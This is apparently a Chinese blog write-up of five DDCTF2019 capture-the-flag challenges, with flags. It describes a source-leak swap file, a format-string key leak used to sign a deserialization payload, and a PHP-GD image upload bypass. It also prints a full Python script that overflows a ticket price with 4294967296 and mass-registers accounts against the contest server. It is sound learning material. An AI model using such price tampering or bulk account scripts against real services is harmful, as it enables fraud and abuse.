DDCTF2019wp

第一次参加这种个人的CTF比赛 真的比较难过 被打得有点自闭 赛后补题开始。

  1. 滴滴滴
    这道题脑洞题 页面开始是一个心情复杂.jpg 23333 刚开始当然是手动F12看源码 然后发现字符串经过了转HEX+两次base64 于是写一个脚本搞他是很重要的~
    这之后就想到把index.php写进去 发现传进去之后有源码泄露 看到源码后给了一个csdn 这个hint非常的辣鸡。。 自闭了很久 直到下面有朋友给出提示才去另一个时间下的博客找 发现了practice.txt.swp文件。。。。。。。。。。。。。。。。。。。。什么 当然是写脚本找!!!
    脚本见https://github.com/godspeedcurry/CTF/blob/master/web/sql/fuzzFile.py
    后面就是傻吊的绕过了 这里避开不谈

  2. WEB 签到题
    自闭了 第一关我就没找到办法。。。
    看题解
    改成admin就好了
    在这里插入图片描述
    现在才发现hackbar真的不能postdata
    找了一下插件
    https://apizza.net/pro/#/
    用它发送数据真的好用
    我们需要审查代码 最好在自己的环境下搞 这样还能调试
    代码中我们发现有个位置可以反序列化,所以我们给自己创建一个对象 将序列化的内容发送给对方服务器,同时给这段内容做签名,签名需要用对面的秘钥
    这个秘钥可以通过nickname发给对面一个%s来获得服务器会把格式化后的内容返还给我们,我们可以用他来签名 整个过程还是比较多的 很容易走错路= =
    DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

  3. upload_img
    考察php-GD库 没用过这玩意 更不知道这东西有漏洞。。。多搜索吧
    上传一个文件 他会保存文件到一个目录下 下载下来 发现有了改动 我们的phpinfo会被去掉
    因此找了个脚本来上传文件 图片选择尽可能大即可 我找了个百度的首页。。。。
    ·ubuntu
    apt install php-gd
    git clone https://github.com/BlackFan/jpg_payload
    修改一下脚本里的payload即可
    flag:DDCTF{B3s7_7ry_php1nf0_323fdbdfe29c9fad}

4.吃鸡
这道题比较有意思 你需要买门票来参与游戏买完之后需要搞定其他99人来吃鸡
通过抓包我们可以发现购买门票的时候有一个请求ticket_price=xxxx 我们通过修改ticket_price=某个大整数可以溢出答案
经过测试这个大整数可以为4294967296
于是手动创建一个游戏局 发现要kill其他人 这个过程可以重复 用脚本来创建账号
难点在于后面可能会有小号创建的id和ticket已存在的情况于是要等比较久的时间 可以在自己的服务器和电脑上同时跑

import os
import requests
import time
username = []
password = []
# generate a lot of account
for i in range(1050):
	s = os.urandom(20).encode('hex')
	username.append(s)
	password.append(s)
url_register = "http://117.51.147.155:5050/ctf/api/register?name={0}&password={1}"
url_buy_ticket = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
url_pay_ticket = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={0}"
url_main = "http://117.51.147.155:5050/ctf/api/remove_robot?id={0}&ticket={1}"


def start_remove(y_id,y_ticket):
	mycookie = {
		"user_name":"asdfghjklasdfghjkl",
		"REVEL_SESSION":"d083754c3b6a4bd5756272cdad1ae65a"
	}
	r = requests.get(url_main.format(y_id,y_ticket),cookies=mycookie)
	if r.status_code == 200:
		return True
	else:
		return False
for i in range(1000):
	print 'start create ....{0}'.format(i)
	user = username[i]
	passwd = password[i]
	r = requests.get(url_register.format(user,passwd))
	u_cookie = r.cookies['user_name']
	u_session = r.cookies['REVEL_SESSION']
	u_cookie_data = {
		"user_name":u_cookie,
		"REVEL_SESSION":u_session
	}
	r = requests.get(
		url_buy_ticket,
		cookies=u_cookie_data
	)
	# print r.json()
	bill = r.json()['data'][0]['bill_id'] # number of bill

	r = requests.get(
		url_pay_ticket.format(bill),
		cookies=u_cookie_data
	)
	y_id = r.json()['data'][0]['your_id']
	y_ticket = r.json()['data'][0]['your_ticket']
	print y_id
	print y_ticket
	time.sleep(2)
	stata = start_remove(y_id,y_ticket)
	if stata == False:
		print "Error"

DDCTF{chiken_dinner_hyMCX[n47Fx)}

  1. wireshark
    拖入wireshark 导出http分组
    可以发现有两张图片 恢复之 用Tweakpng做一下校验 可以发现png文件有修改的哼唧 于是修改高度 可以发现钥匙那张图片下有我们的key 后面我们又发现一个叫job51的网站 于是访问他发现有个隐写工具 拿他来解码就行了
>>> s = '44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D'
>>> s.decode('hex')
'DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}'
>>>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值